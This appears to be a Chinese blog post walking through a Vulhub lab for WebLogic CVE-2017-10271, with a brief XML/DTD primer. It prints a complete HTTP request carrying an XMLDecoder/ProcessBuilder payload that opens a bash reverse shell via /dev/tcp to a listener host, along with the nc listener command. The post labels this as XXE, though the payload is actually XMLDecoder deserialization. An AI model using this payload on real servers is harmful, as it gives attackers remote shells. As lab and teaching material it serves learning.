【vluhub】weblogin之xxe实体注入

XXE 漏洞

XXE漏洞,全称XML外部实体注入漏洞,是一种常见的针对解析XML输入的应用程序的安全漏洞。当应用程序在解析XML数据时,如果没有正确验证或限制实体引用,攻击者就可以通过构造恶意的XML输入,将外部实体引用进来,从而执行恶意操作

什么是XML

XML是一种标记语言,全称为可扩展标记语言(Extensible Markup Language),用于描述数据的结构和内容。它可以被用于表示各种类型的数据,例如文本、数字、图像等。

XML的设计目的是为了使数据的交换和共享更加容易,同时也可以被用于数据的存储和传输。XML文档由标签、属性和文本内容组成,可以通过DTD(文档类型定义)或XML Schema进行验证。XML的语法简单、灵活,被广泛应用于Web服务、数据交换、配置文件等领域。

DTD约束

内部DTD

指的是直接在XML文档中声明元素,这时需要在XML的头部声明中添加属性standalone,并将该属性的值设置为"yes"。

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to, from, heading, body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

外部DTD

<!ENTITY element2 SYSTEM "http://www.exp.com/exp.dtd">

那么外部引用会存在XXE漏洞

vluhub测试环境搭建

┌──(tanrt㉿kali)-[/opt/vulhub-master/weblogic/CVE-2017-10271]
└─$ sudo docker ps           

CONTAINER ID   IMAGE                           COMMAND              CREATED              STATUS              PORTS                                                 NAMES
dcc8bd409f45   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   About a minute ago   Up About a minute   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2017-10271-weblogic-1
接口访问地址

http://192.168.203.12:7001/wls-wsat/CoordinatorPortType

bp抓包替换由于xml需要使用saopui 协议构造

 替换

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.203.12:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 800

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
        <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.3.180/4446 0&gt;&amp;1</string></void>
                </array>
              <void method="start"></void>
            </object>
        </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
        <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.3.180/4444 0&gt;&amp;1</string></void>
                </array>
              <void method="start"></void>
            </object>
        </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

  解义:

这段POC的开头三行和末尾三号主要是SOAP的协议规范,SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制。具体内容读者自己查查资料,这里不做阐释。我们重点关注的是中间的内容,下面我们依次介绍XML的各个标签。

java标签

<java class="java.beans.XMLDecoder">
这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

object标签

<object class="java.lang.ProcessBuilder">
通过 <object> 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。

array标签/void标签

<array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
</array>
通过 <array> 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:

str[0] = '/bin/bash'
str[1] = '-c' 
str[2] = 'bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444'

其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令。注意反弹shell的语句需要进行编码,否则解析XML的时候将出现格式错误 。

<void method="start"></void>
void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。

nc -lvvp 4444

 建议禁用

外部DTD实体解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值